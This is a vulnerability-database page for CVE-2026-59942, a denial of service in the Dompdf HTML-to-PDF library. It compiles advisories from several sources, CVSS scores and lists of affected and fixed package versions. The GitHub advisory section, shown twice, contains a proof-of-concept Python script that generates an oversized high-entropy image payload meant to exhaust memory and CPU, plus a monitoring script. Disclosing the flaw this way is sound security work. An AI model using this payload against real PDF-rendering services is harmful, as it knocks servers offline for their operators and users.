Every CVE Search/ Get API key

CVE-2026-59942

Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps

6.3 MediumFix available

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

0.90%Up 0.5 points since Jul 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.3

Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Record
CVE-2026-59942
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2026-50060 6.3

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Record
EUVD-2026-50060
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-f5gf-2cj8-52g2 6.3

Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps

Summary

Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).

While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.

Technical Deep Dive:

Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:

  • 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream.
  • Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.

Details

The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.

PoC (Proof of Concept)

  1. Install Dompdf v3.1.5 via Composer.
composer require dompdf/dompdf:3.1.5
  1. Use the following Python script to generate the malicious payload (exploit.py):
from PIL import Image
import base64
from io import BytesIO
import os

DIMENSIONS = (30000, 30000) 
OUTPUT_FILE = "payload.html"

def generate_noise_bomb():
    print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")
    
    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
    image = Image.frombytes('L', DIMENSIONS, random_bytes)
    
    buffer = BytesIO()
    # Using PNG instead of JPEG to force full bitmap decompression in memory
    image.save(buffer, format="PNG")
    image_base64 = base64.b64encode(buffer.getvalue()).decode()

    html_content = f"""
    <html>
    <body>
        <div style="overflow:hidden; width:1px; height:1px;">
            <img src="data:image/png;base64,{image_base64}">
        </div>
        <h1>PoC: Resource Exhaustion</h1>
    </body>
    </html>
    """
    
    with open(OUTPUT_FILE, "w") as f:
        f.write(html_content)
    print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")

if __name__ == "__main__":
    generate_noise_bomb()
  1. Use the following Python script to monitor the system resources in a separate terminal (monitor.py):
import psutil
import time

def start_monitoring():
    print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
    try:
        while True:
            for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
                if 'php' in proc.info['name'].lower():
                    try:
                        pid = proc.info['pid']
                        mem = proc.info['memory_info'].rss / (1024 * 1024)
                        cpu = proc.cpu_percent(interval=0.1)
                        print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
                        return
            time.sleep(0.05)
    except KeyboardInterrupt:
        print("\n[*] Monitoring finished.")

if __name__ == "__main__":
    start_monitoring()

  1. Create a file named render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:
<?php
require_once…
Record
GHSA-f5gf-2cj8-52g2
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-400, CWE-770
Updated
2026-11-02
NVD 6.3

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Record
CVE-2026-59942
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSV 6.3

Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Record
CVE-2026-59942
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-400
Updated
2026-11-02
OSVDEBIAN-CVE-2026-59942 7.5

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Record
DEBIAN-CVE-2026-59942
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 5 moreShow less
OSVGHSA-f5gf-2cj8-52g2 6.3

Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps

Summary

Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).

While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.

Technical Deep Dive:

Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:

  • 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream.
  • Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.

Details

The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.

PoC (Proof of Concept)

  1. Install Dompdf v3.1.5 via Composer.
composer require dompdf/dompdf:3.1.5
  1. Use the following Python script to generate the malicious payload (exploit.py):
from PIL import Image
import base64
from io import BytesIO
import os

DIMENSIONS = (30000, 30000) 
OUTPUT_FILE = "payload.html"

def generate_noise_bomb():
    print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")
    
    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
    image = Image.frombytes('L', DIMENSIONS, random_bytes)
    
    buffer = BytesIO()
    # Using PNG instead of JPEG to force full bitmap decompression in memory
    image.save(buffer, format="PNG")
    image_base64 = base64.b64encode(buffer.getvalue()).decode()

    html_content = f"""
    <html>
    <body>
        <div style="overflow:hidden; width:1px; height:1px;">
            <img src="data:image/png;base64,{image_base64}">
        </div>
        <h1>PoC: Resource Exhaustion</h1>
    </body>
    </html>
    """
    
    with open(OUTPUT_FILE, "w") as f:
        f.write(html_content)
    print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")

if __name__ == "__main__":
    generate_noise_bomb()
  1. Use the following Python script to monitor the system resources in a separate terminal (monitor.py):
import psutil
import time

def start_monitoring():
    print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
    try:
        while True:
            for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
                if 'php' in proc.info['name'].lower():
                    try:
                        pid = proc.info['pid']
                        mem = proc.info['memory_info'].rss / (1024 * 1024)
                        cpu = proc.cpu_percent(interval=0.1)
                        print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
                        return
            time.sleep(0.05)
    except KeyboardInterrupt:
        print("\n[*] Monitoring finished.")

if __name__ == "__main__":
    start_monitoring()

  1. Create a file named render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:
<?php
require_once…
Record
GHSA-f5gf-2cj8-52g2
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weakness
CWE-400, CWE-770
Updated
2026-11-02
OSVUBUNTU-CVE-2026-59942 6.3

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels). While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers. The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check. An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf. This issue has been fixed in version 3.16.

Record
UBUNTU-CVE-2026-59942
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2026-1786371522 No score

TuxCare security update for dompdf/dompdf (5 CVEs)

TuxCare rebuilt dompdf/dompdf to address 5 CVEs. Fixed in 3.1.0-p1+tuxcare.

Record
CLSA-2026-1786371522
Updated
2026-11-02
OSVCLSA-2026-1787223739 No score

TuxCare security update for dompdf/dompdf (6 CVEs)

TuxCare rebuilt dompdf/dompdf to address 6 CVEs. Fixed in 1.2.2-p2+tuxcare.

Record
CLSA-2026-1787223739
Updated
2026-11-02
OSVCLSA-2026-1787828763 No score

TuxCare security update for dompdf/dompdf (6 CVEs)

TuxCare rebuilt dompdf/dompdf to address 6 CVEs. Fixed in 0.8.6-p2+tuxcare.

Record
CLSA-2026-1787828763
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
dompdf/dompdf
Packagist
before 3.1.6
3.1.6
dompdf/dompdf
TuxCare:Packagist
From an advisory covering 5 CVEs
3.1.0 up to 3.1.0-p1+tuxcare
3.1.0-p1+tuxcare
dompdf/dompdf
TuxCare:Packagist
From an advisory covering 6 CVEs
v1.2.2 up to 1.2.2-p2+tuxcare, plus listed versions
1.2.2-p1+tuxcare
1.2.2-p2+tuxcare
dompdf/dompdf
TuxCare:Packagist
From an advisory covering 6 CVEs
0.8.6 up to 0.8.6-p2+tuxcare, plus listed versions
0.8.6-p1+tuxcare
0.8.6-p2+tuxcare
php-dompdf
Debian:12
All versions, plus listed versions
2.0.3+dfsg-12.0.3+dfsg-1+deb12u12.0.3+dfsg-22.0.3+dfsg-32.0.3+dfsg-4
Show 10 moreShow less
2.0.4+dfsg-12.0.4+dfsg-22.0.7+dfsg-13.0.0+dfsg-13.0.0+dfsg-23.0.1+dfsg-13.0.2+dfsg-13.1.0+dfsg-13.1.4+dfsg-13.1.4+dfsg-2
None known
dompdf/dompdf
Packagist
before 3.1.6, plus listed versions
v0.6.0v0.6.1v0.6.2v0.7.0v0.7.0-beta
Show 34 moreShow less
v0.7.0-beta2v0.7.0-beta3v0.8.0v0.8.1v0.8.2v0.8.3v0.8.4v0.8.5v0.8.6v1.0.0v1.0.1v1.0.2v1.1.0v1.1.1v1.2.0v1.2.1v1.2.2v2.0.0v2.0.1v2.0.2v2.0.3v2.0.4v2.0.5v2.0.7v2.0.8v3.0.0v3.0.1v3.0.2v3.1.0v3.1.1v3.1.2v3.1.3v3.1.4v3.1.5
3.1.6
php-dompdf
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
0.6.1+dfsg-20.6.1+dfsg-2build10.6.1+dfsg-2ubuntu10.6.1+dfsg-2ubuntu1+esm1
None known
php-dompdf
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
0.6.2+dfsg-30.6.2+dfsg-3ubuntu0.18.04.1~esm1
None known
php-dompdf
Ubuntu:20.04:LTS
All versions, plus listed versions
0.6.2+dfsg-30.6.2+dfsg-3ubuntu0.20.04.1
None known
php-dompdf
Ubuntu:22.04:LTS
All versions, plus listed versions
0.6.2+dfsg-3.10.6.2+dfsg-3.1ubuntu0.1
None known

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-59942 is a medium vulnerability (CVSS 6.3) in Dompdf, published July 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.90%, the 59th percentile. Fixed in dompdf/dompdf 3.1.6.

References

Show 5 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open